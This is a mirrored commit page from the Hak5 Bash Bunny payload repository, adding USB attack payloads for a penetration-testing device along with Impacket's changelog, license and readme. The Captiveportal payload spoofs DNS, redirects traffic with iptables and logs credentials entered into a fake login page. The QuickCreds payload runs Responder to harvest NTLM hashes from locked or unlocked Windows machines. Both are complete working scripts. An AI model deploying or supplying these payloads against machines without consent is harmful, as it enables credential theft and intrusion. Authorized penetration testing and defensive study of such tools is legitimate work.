mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Initial Bash Bunny Release
This commit is contained in:
24
payloads/library/Captiveportal/README.md
Normal file
24
payloads/library/Captiveportal/README.md
Normal file
@@ -0,0 +1,24 @@
|
||||
# Captive Portal for the Bash Bunny
|
||||
|
||||
Author: Sebkinne
|
||||
Version: 1.0
|
||||
|
||||
## Description
|
||||
|
||||
Redirects and spoofs all DNS requests to the Bash Bunny, and serves a configurable captive portal. All captured credentials will be logged in the payload's folder in a file named *capture.log*.
|
||||
|
||||
## Configuration
|
||||
|
||||
Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*nix.
|
||||
|
||||
The *portal.html* file can be modified as seen fit, but changes must remain in the file (no external images, css, or javascript).
|
||||
|
||||
To capture more information from the user, simply add more form inputs to *portal.html*, and update the *INPUTS* line in payload.txt. Example: `INPUTS=(email username password)`
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ---------------- | ----------------------------------- |
|
||||
| Green (blinking) | The captive portal is starting up |
|
||||
| Blue (solid) | The captive portal is ready for use |
|
||||
|
||||
BIN
payloads/library/Captiveportal/captiveportal
Executable file
BIN
payloads/library/Captiveportal/captiveportal
Executable file
Binary file not shown.
38
payloads/library/Captiveportal/payload.txt
Normal file
38
payloads/library/Captiveportal/payload.txt
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: Captiveportal
|
||||
# Author: Sebkinne
|
||||
# Version: 1.0
|
||||
|
||||
# Add or remove inputs here
|
||||
INPUTS=(username password)
|
||||
|
||||
# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)
|
||||
ATTACKMODE RNDIS_ETHERNET
|
||||
#ATTACKMODE ECM_ETHERNET
|
||||
|
||||
##################################################################
|
||||
# DO NOT EDIT BELOW THIS LINE #
|
||||
##################################################################
|
||||
|
||||
# Sets up iptable forwarding and filters
|
||||
function setupNetworking() {
|
||||
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||
iptables -A INPUT -i usb0 -p udp --dport 53 -j ACCEPT
|
||||
iptables -A INPUT -i usb0 -p tcp --dport 443 -j DROP
|
||||
iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j DNAT --to-destination 172.16.64.1:8080
|
||||
iptables -t nat -A PREROUTING -i usb0 -p udp --dport 53 -j DNAT --to-destination 172.16.64.1:53
|
||||
iptables -t nat -A POSTROUTING -j MASQUERADE
|
||||
}
|
||||
|
||||
# Find payload directory and execute payload
|
||||
function startCaptiveportal() {
|
||||
cd $(dirname $(find /root/udisk/payloads/ -name portal.html))
|
||||
chmod +x captiveportal
|
||||
./captiveportal ${INPUTS[@]}
|
||||
}
|
||||
|
||||
LED G 200
|
||||
setupNetworking
|
||||
startCaptiveportal &
|
||||
LED B 0
|
||||
18
payloads/library/Captiveportal/portal.html
Executable file
18
payloads/library/Captiveportal/portal.html
Executable file
@@ -0,0 +1,18 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Captive Portal</title>
|
||||
<style type="text/css">
|
||||
body {
|
||||
text-align: center;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Captive Portal</h1>
|
||||
<form method="post">
|
||||
Username: <input type="username" name="username"><br>
|
||||
Password: <input type="password" name="password"><br>
|
||||
<input type="submit" value="Log in">
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
81
payloads/library/QuickCreds/payload.txt
Normal file
81
payloads/library/QuickCreds/payload.txt
Normal file
@@ -0,0 +1,81 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# Title: Quick Creds
|
||||
# Author: Hak5Darren -- Cred: Mubix
|
||||
# Version: 1.0
|
||||
#
|
||||
# Runs responder against target with specified options
|
||||
# Saves sequential logs to mass storage loot folder
|
||||
#
|
||||
# Requires responder in /pentest/responder - run tools_installer payload first
|
||||
#
|
||||
# White Blinking.....Dependencies not met. Responder not installed in /pentest
|
||||
# Red ...............Setup
|
||||
# Red Blinking.......Setup Failed. Target did not obtain IP address. Exit.
|
||||
# Amber Blinking.....Scanning
|
||||
# Green..............Finished
|
||||
#
|
||||
# Options
|
||||
RESPONDER_OPTIONS="-w -r -d -P"
|
||||
LOOTDIR=/root/udisk/loot/quickcreds
|
||||
|
||||
# Check for responder. If not found, blink WHITE and end.
|
||||
if [ ! -d /pentest/responder/ ]; then
|
||||
LED R G B 100
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Set LED Red while setting up attack
|
||||
LED R
|
||||
|
||||
# Use RNDIS for Windows. Mac/*nix use ECM_ETHERNET
|
||||
ATTACKMODE RNDIS_ETHERNET
|
||||
#ATTACKMODE ECM_ETHERNET
|
||||
|
||||
# Source bunny_helpers.sh for functions & variables TARGET_IP, TARGET_HOSTNAME
|
||||
source bunny_helpers.sh
|
||||
|
||||
# Setup named logs in loot directory
|
||||
mkdir -p $LOOTDIR
|
||||
HOST=${TARGET_HOSTNAME}
|
||||
# If hostname is blank set it to "noname"
|
||||
[[ -z "$HOST" ]] && HOST="noname"
|
||||
COUNT=$(ls -lad $LOOTDIR/$HOST* | wc -l)
|
||||
COUNT=$((COUNT+1))
|
||||
mkdir -p $LOOTDIR/$HOST-$COUNT
|
||||
|
||||
# As a backup also copy logs to a loot directory in /root/loot/
|
||||
mkdir -p /root/loot/quickcreds/$HOST-$COUNT
|
||||
|
||||
# Check target IP address. If unset, blink RED and end.
|
||||
if [ -z "${TARGET_IP}" ]; then
|
||||
LED R 100
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Set LED yellow, run attack
|
||||
LED G R 500
|
||||
cd /pentest/responder
|
||||
|
||||
# Clean logs directory
|
||||
rm logs/*
|
||||
|
||||
# Run Responder with specified options
|
||||
python Responder.py -I usb0 $RESPONDER_OPTIONS &
|
||||
|
||||
# Wait until NTLM log is found
|
||||
until [ -f logs/*NTLM* ]
|
||||
do
|
||||
# Ima just loop here until NTLM logs are found
|
||||
sleep 1
|
||||
done
|
||||
|
||||
# copy logs to loot directory
|
||||
cp logs/* /root/loot/quickcreds/$HOST-$COUNT
|
||||
cp logs/* $LOOTDIR/$HOST-$COUNT
|
||||
|
||||
# Sync USB disk filesystem
|
||||
sync
|
||||
|
||||
# Light turns green - trap is clean.
|
||||
LED G
|
||||
31
payloads/library/QuickCreds/readme.md
Normal file
31
payloads/library/QuickCreds/readme.md
Normal file
@@ -0,0 +1,31 @@
|
||||
# QuickCreds for Bash Bunnys
|
||||
|
||||
Author: Hak5Darren
|
||||
Version: Version 1.0
|
||||
Credit: Mubix
|
||||
|
||||
## Description
|
||||
|
||||
Snags credentials from locked or unlocked machines
|
||||
Based on the attack by Mubix of Room362.com
|
||||
Implements a responder attack. Saves creds to the loot folder on the USB Disk
|
||||
Looks for *NTLM* log files
|
||||
|
||||
## Configuration
|
||||
|
||||
Configured for Windows by default. Swap RNDIS_ETHERNET for ECM_ETHERNET on Mac/*nix
|
||||
|
||||
## Requirements
|
||||
|
||||
Responder must be in /pentest/responder/
|
||||
Run the latest tools_installer payload or manually install
|
||||
|
||||
## STATUS
|
||||
|
||||
| LED | Status |
|
||||
| ---------------- | ------------------------------------- |
|
||||
| White (blinking) | Dependencies not met |
|
||||
| Red | Setup |
|
||||
| Red (blinking) | Setup Failed. Target didn't obtain IP |
|
||||
| Amber | Responder running, waiting for creds |
|
||||
| Green | Finished |
|
||||
19
payloads/library/bunny_helpers.sh
Normal file
19
payloads/library/bunny_helpers.sh
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/bin/bash
|
||||
|
||||
################################################################################
|
||||
# Get target ip address and hostname from dhcp lease.
|
||||
# This is for the attack mode of ETHERNET specified.
|
||||
# Without ETHERNET specified, below environment variables will be empty.
|
||||
#
|
||||
# How this works?
|
||||
# 1) ATTACKMODE waits until:
|
||||
# a) target ip address is negotiated by dhcp
|
||||
# b) time out
|
||||
# 2) After ATTACKMODE, we can get target ip address and hostname.
|
||||
################################################################################
|
||||
leasefile="/var/lib/dhcp/dhcpd.leases"
|
||||
export TARGET_IP=$(cat $leasefile | grep ^lease | awk '{ print $2 }' | sort | uniq)
|
||||
export TARGET_HOSTNAME=$(cat $leasefile | grep hostname | awk '{print $2 }' \
|
||||
| sort | uniq | tail -n1 | sed "s/^[ \t]*//" | sed 's/\"//g' | sed 's/;//')
|
||||
export HOST_IP=$(cat /etc/network/interfaces.d/usb0 | grep address | awk {'print $2'})
|
||||
|
||||
1
payloads/library/payloads.txt
Normal file
1
payloads/library/payloads.txt
Normal file
@@ -0,0 +1 @@
|
||||
Update this library with the latest payload set from the Bash Bunny community and learn more about creating and publishing your own payloads at https://www.bashbunny.com
|
||||
45
payloads/library/tools_installer/install.sh
Normal file
45
payloads/library/tools_installer/install.sh
Normal file
@@ -0,0 +1,45 @@
|
||||
# Check to ensure that the tools_to_install directory isn't empty.
|
||||
# Exit with solid red LED if it is, otherwise note tools in log.
|
||||
TOOLSDIR=$(find /root/udisk/payloads/ -name tools_to_install)
|
||||
if [ "$(ls -A $TOOLSDIR)" ]; then
|
||||
cd $TOOLSDIR
|
||||
echo "Available Tools:" > /tmp/tools_installer.log
|
||||
echo "----------------" >> /tmp/tools_installer.log
|
||||
for i in $(ls -d */); do echo ${i%%/} >> /tmp/tools_installer.log; done
|
||||
else
|
||||
LED R
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Set LED to purple blinking and move tools
|
||||
LED R B 100
|
||||
mkdir -p /pentest
|
||||
mv $TOOLSDIR/* /pentest/
|
||||
|
||||
# Set LED to purple solid and check that move completed
|
||||
LED R B
|
||||
if [ "$(ls -A $TOOLSDIR)" ]; then
|
||||
# Set LED to red on fail and exit
|
||||
LED R
|
||||
exit 1
|
||||
else
|
||||
# Set LED to amber blinking on setup
|
||||
LED G R 100
|
||||
|
||||
# Setup impacket
|
||||
cd /pentest/impacket
|
||||
python ./setup.py install
|
||||
|
||||
# Additional tool setup goes here
|
||||
|
||||
# List installed tools in /pentest and save to tools.txt on USB disk
|
||||
cd /pentest/
|
||||
echo "Installed Tools:" > /root/udisk/installed-tools.txt
|
||||
echo "----------------" >> /root/udisk/installed-tools.txt
|
||||
for i in $(ls -d */); do echo ${i%%/} >> /root/udisk/installed-tools.txt; done
|
||||
sync && sleep 1 && sync
|
||||
|
||||
# Set LED to white on success
|
||||
LED R G B
|
||||
exit 0
|
||||
fi
|
||||
3
payloads/library/tools_installer/payload.txt
Normal file
3
payloads/library/tools_installer/payload.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
# All of the heavy lifting of this payload occurs in install.sh
|
||||
# which gets renamed to install.sh.INSTALLED once completed.
|
||||
ATTACKMODE SERIAL STORAGE
|
||||
13
payloads/library/tools_installer/readme.txt
Normal file
13
payloads/library/tools_installer/readme.txt
Normal file
@@ -0,0 +1,13 @@
|
||||
Tools Installer for Bash Bunny
|
||||
Version 1.1.0
|
||||
|
||||
Moves tools from the tools_to_install/ USB disk to /pentest on the Bash Bunny
|
||||
When installation succeeds, install.sh will be renamed to install.sh.INSTALLED
|
||||
|
||||
A list of installed tools is created on the USB disk as installed-tools.txt
|
||||
|
||||
Purple Blinking.................Moving tools
|
||||
Purple Solid....................Tools moved
|
||||
Amber Blinking..................Setup tools
|
||||
Red Solid.......................Tool installation failed
|
||||
White Solid.....................Installation completed successfully
|
||||
57
payloads/library/tools_installer/tools_to_install/impacket/.gitignore
vendored
Normal file
57
payloads/library/tools_installer/tools_to_install/impacket/.gitignore
vendored
Normal file
@@ -0,0 +1,57 @@
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
|
||||
# C extensions
|
||||
*.so
|
||||
|
||||
# Distribution / packaging
|
||||
.Python
|
||||
env/
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# PyInstaller
|
||||
# Usually these files are written by a python script from a template
|
||||
# before PyInstaller builds the exe, so as to inject date/other infos into it.
|
||||
*.manifest
|
||||
*.spec
|
||||
|
||||
# Installer logs
|
||||
pip-log.txt
|
||||
pip-delete-this-directory.txt
|
||||
|
||||
# Unit test / coverage reports
|
||||
htmlcov/
|
||||
.tox/
|
||||
.coverage
|
||||
.coverage.*
|
||||
.cache
|
||||
nosetests.xml
|
||||
coverage.xml
|
||||
*,cover
|
||||
|
||||
# Translations
|
||||
*.mo
|
||||
*.pot
|
||||
|
||||
# Django stuff:
|
||||
*.log
|
||||
|
||||
# Sphinx documentation
|
||||
docs/_build/
|
||||
|
||||
# PyBuilder
|
||||
target/
|
||||
@@ -0,0 +1,205 @@
|
||||
Complete list of changes can be found at:
|
||||
https://github.com/CoreSecurity/impacket/commits/master
|
||||
|
||||
June 2016: 0.9.15:
|
||||
1) Library improvements
|
||||
* SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle)
|
||||
* Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss)
|
||||
* Packet fragmentation for DCE RPC layer mayor overhaul.
|
||||
* Improved pass-the-key attacks scenarios (by @skelsec)
|
||||
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
|
||||
build the search filter yourself)
|
||||
* IPv6 improvements for DCERPC/LDAP and Kerberos
|
||||
|
||||
2) Examples improvements
|
||||
* Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC
|
||||
resides in the same server
|
||||
* secretsdump.py
|
||||
a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode
|
||||
b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only)
|
||||
c. Support for different ReplEpoch (DRSUAPI only)
|
||||
d. pwdLastSet is also included in the output file
|
||||
e. New structures/flags added for 2016 TP5 PAM support
|
||||
* wmiquery.py
|
||||
a. Adding -rpc-auth-level switch (by @gadio)
|
||||
* smbrelayx.py
|
||||
a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
|
||||
b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
|
||||
|
||||
3) New Examples
|
||||
* GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account.
|
||||
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
|
||||
* ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
|
||||
(by @dirkjanm)
|
||||
|
||||
January 2016: 0.9.14:
|
||||
1) Library improvements
|
||||
* [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations
|
||||
* [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation
|
||||
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
|
||||
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
|
||||
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
|
||||
* Kerberos support for TDS (MSSQL)
|
||||
* Extended present flags support on RadioTap class
|
||||
* Old DCERPC runtime code removed
|
||||
|
||||
2) Examples improvements
|
||||
* mssqlclient.py: Added Kerberos authentication support
|
||||
* atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
|
||||
* smbrelayx.py:
|
||||
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
|
||||
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
|
||||
* secretsdump.py:
|
||||
a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method)
|
||||
by default. VSS method is still available by using the -use-vss switch
|
||||
b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
|
||||
-just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options
|
||||
c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option
|
||||
d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5)
|
||||
e. Add support for multiple password encryption keys (PEK) (by @s0crat)
|
||||
* goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC
|
||||
|
||||
3) New examples
|
||||
* raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege
|
||||
escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640
|
||||
* netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
|
||||
|
||||
May 2015: 0.9.13:
|
||||
1) Library improvements
|
||||
* Kerberos support for SMB and DCERPC featuring:
|
||||
a. kerberosLogin() added to SMBConnection (all SMB versions).
|
||||
b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will
|
||||
negotiate Kerberos. This also includes DCOM.
|
||||
c. Pass-the-hash, pass-the-ticket and pass-the-key support.
|
||||
d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
|
||||
e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers.
|
||||
f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY.
|
||||
* SMB3 encryption support. Pycrypto experimental version that supports
|
||||
AES_CCM is required.
|
||||
* [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py)
|
||||
* SMBSERVER improvements:
|
||||
a. SMB2 (2.002) dialect experimental support.
|
||||
b. Adding capability to export to John The Ripper format files
|
||||
* Library logging overhaul. Now there's a single logger called 'impacket'.
|
||||
|
||||
2) Examples improvements
|
||||
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
|
||||
* Ported most of the modules to the new dcerpc.v5 runtime.
|
||||
* secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT
|
||||
* smbserver.py: support for SMB2 (not enabled by default)
|
||||
* smbrelayx.py: Added support for MS15-027 exploitation.
|
||||
|
||||
3) New examples
|
||||
* goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a
|
||||
psexec session at the target.
|
||||
* karmaSMB.py: SMB Server that answers specific file contents regardless of
|
||||
the SMB share and pathname requested.
|
||||
* wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event
|
||||
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
|
||||
|
||||
July 2014: 0.9.12:
|
||||
1) The following protocols were added based on its standard definition
|
||||
* [MS-DCOM] - Distributed Component Object module Protocol (dcom.py)
|
||||
* [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py)
|
||||
* [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py)
|
||||
|
||||
2) New examples
|
||||
a. wmiquery.py: executes WMI queries and get WMI object's descriptions.
|
||||
b. wmiexec.py: agent-less, semi-interactive shell using WMI.
|
||||
c. smbserver.py: quick an easy way to share files using the SMB protocol.
|
||||
|
||||
February 2014: 0.9.11:
|
||||
1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available)
|
||||
a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
|
||||
b. Support for RPC_C_AUTHN_NETLOGON (experimental)
|
||||
c. The following interface were developed based on its standard definition:
|
||||
* [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
|
||||
* [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
|
||||
* [MS-NRPC] - Netlogon Remote Protocol (nrpc.py)
|
||||
* [MS-RRP] - Windows Remote Registry Protocol (rrp.py)
|
||||
* [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py)
|
||||
* [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py)
|
||||
* [MS-SRVS] - Server Service Remote Protocol (srvs.py)
|
||||
* [MS-WKST] - Workstation Service Remote Protocol (wkst.py)
|
||||
* [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py)
|
||||
* [MS-DTYP] - Windows Data Types (dtypes.py)
|
||||
Most of the DCE Calls have helper functions for easier use. Test cases added for
|
||||
all calls (check the test cases directory)
|
||||
2) ESE parser (Extensive Storage Engine) (ese.py)
|
||||
3) Windows Registry parser (winregistry.py)
|
||||
4) TDS protocol now supports SSL, can be used from mssqlclient
|
||||
5) Support for EAPOL, EAP and WPS decoders
|
||||
6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
|
||||
7) New examples
|
||||
a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server
|
||||
b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
|
||||
c. ntfs-read.py: mini shell for browsing an NTFS volume
|
||||
d. registry-read.py: Windows offline registry reader
|
||||
e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
|
||||
|
||||
March 2013: 0.9.10:
|
||||
1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending.
|
||||
2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent.
|
||||
It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available
|
||||
methods across all the protocols.
|
||||
3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers.
|
||||
4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
|
||||
5) DCERPC Endpoints' new calls
|
||||
a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects.
|
||||
6) New examples
|
||||
a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
|
||||
you an SQL prompt for your pleasure.
|
||||
b. mssqlinstance.py: Lists the MS SQL instances running on a target machine.
|
||||
c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
|
||||
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
|
||||
develop new functionality to interact against a target interface.
|
||||
d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
|
||||
technique described at http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access. It also
|
||||
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
|
||||
where no share is available on the other end.
|
||||
e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly.
|
||||
|
||||
And finally tons of fixes :).
|
||||
|
||||
July 2012: 0.9.9:
|
||||
1) Added 802.11 packets encoding/decoding
|
||||
2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class.
|
||||
3) SMB/DCERPC
|
||||
a. GSS-API/SPNEGO Support.
|
||||
b. SPN support in auth blob.
|
||||
c. NTLM2 and NTLMv2 support.
|
||||
d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name.
|
||||
e. Pass the hash supported for SMB/DCE-RPC.
|
||||
f. IPv6 support for SMB/NMB/DCERPC.
|
||||
g. DOMAIN support for authentication.
|
||||
h. SMB signing support when server enforces it.
|
||||
i. DCERPC signing/sealing for all NTLM flavours.
|
||||
j. DCERPC transport now accepts an already established SMB connection.
|
||||
k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
|
||||
forwarding named pipes requests).
|
||||
l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's
|
||||
not functional.
|
||||
|
||||
4) DCERPC Endpoints' new calls
|
||||
a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(),
|
||||
NetprNameCanonicalize().
|
||||
b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(),
|
||||
StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW().
|
||||
c. WKSSVC: NetrWkstaTransportEnum().
|
||||
d. SAMR: OpenAlias(), GetMembersInAlias().
|
||||
e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose().
|
||||
|
||||
5) New examples
|
||||
a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
|
||||
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
|
||||
listed and/or listening.
|
||||
b. lookupsid.py: DCE/RPC lookup sid brute forcer example.
|
||||
c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
|
||||
256 operation numbers in turn and reports the outcome of each call.
|
||||
d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
|
||||
e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented.
|
||||
f. smbrelayx: Passes credentials to a third party server when doing MiTM.
|
||||
g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
|
||||
not enforced. Tested under Windows, Linux and MacOS clients.
|
||||
h. smbclient.py: now supports history, new commands also added.
|
||||
i. psexec.py: Execute remote commands on Windows machines
|
||||
@@ -0,0 +1,84 @@
|
||||
Licencing
|
||||
---------
|
||||
|
||||
We provide this software under a slightly modified version of the
|
||||
Apache Software License. The only changes to the document were the
|
||||
replacement of "Apache" with "Impacket" and "Apache Software Foundation"
|
||||
with "CORE Security Technologies". Feel free to compare the resulting
|
||||
document to the official Apache license.
|
||||
|
||||
The `Apache Software License' is an Open Source Initiative Approved
|
||||
License.
|
||||
|
||||
|
||||
The Apache Software License, Version 1.1
|
||||
Modifications by CORE Security Technologies (see above)
|
||||
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
|
||||
|
||||
Smb.py and nmb.py are based on Pysmb by Michael Teo
|
||||
(http://miketeo.net/projects/pysmb/), and are distributed under the
|
||||
following license:
|
||||
|
||||
This software is provided 'as-is', without any express or implied
|
||||
warranty. In no event will the author be held liable for any damages
|
||||
arising from the use of this software.
|
||||
|
||||
Permission is granted to anyone to use this software for any purpose,
|
||||
including commercial applications, and to alter it and redistribute it
|
||||
freely, subject to the following restrictions:
|
||||
|
||||
1. The origin of this software must not be misrepresented; you must
|
||||
not claim that you wrote the original software. If you use this
|
||||
software in a product, an acknowledgment in the product
|
||||
documentation would be appreciated but is not required.
|
||||
|
||||
2. Altered source versions must be plainly marked as such, and must
|
||||
not be misrepresented as being the original software.
|
||||
|
||||
3. This notice cannot be removed or altered from any source
|
||||
distribution.
|
||||
@@ -0,0 +1,4 @@
|
||||
include MANIFEST.in
|
||||
include LICENSE
|
||||
include ChangeLog
|
||||
recursive-include examples *.txt *.py
|
||||
@@ -0,0 +1,83 @@
|
||||
What is Impacket?
|
||||
=================
|
||||
|
||||
Impacket is a collection of Python classes for working with network
|
||||
protocols. Impacket is focused on providing low-level
|
||||
programmatic access to the packets and for some protocols (for
|
||||
instance NMB, SMB1-3 and MS-DCERPC) the protocol implementation itself.
|
||||
Packets can be constructed from scratch, as well as parsed from
|
||||
raw data, and the object oriented API makes it simple to work with
|
||||
deep hierarchies of protocols. The library provides a set of tools
|
||||
as examples of what can be done within the context of this library.
|
||||
|
||||
A description of some of the tools can be found at:
|
||||
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket
|
||||
|
||||
What protocols are featured?
|
||||
----------------------------
|
||||
|
||||
* Ethernet, Linux "Cooked" capture.
|
||||
* IP, TCP, UDP, ICMP, IGMP, ARP. (IPv4 and IPv6)
|
||||
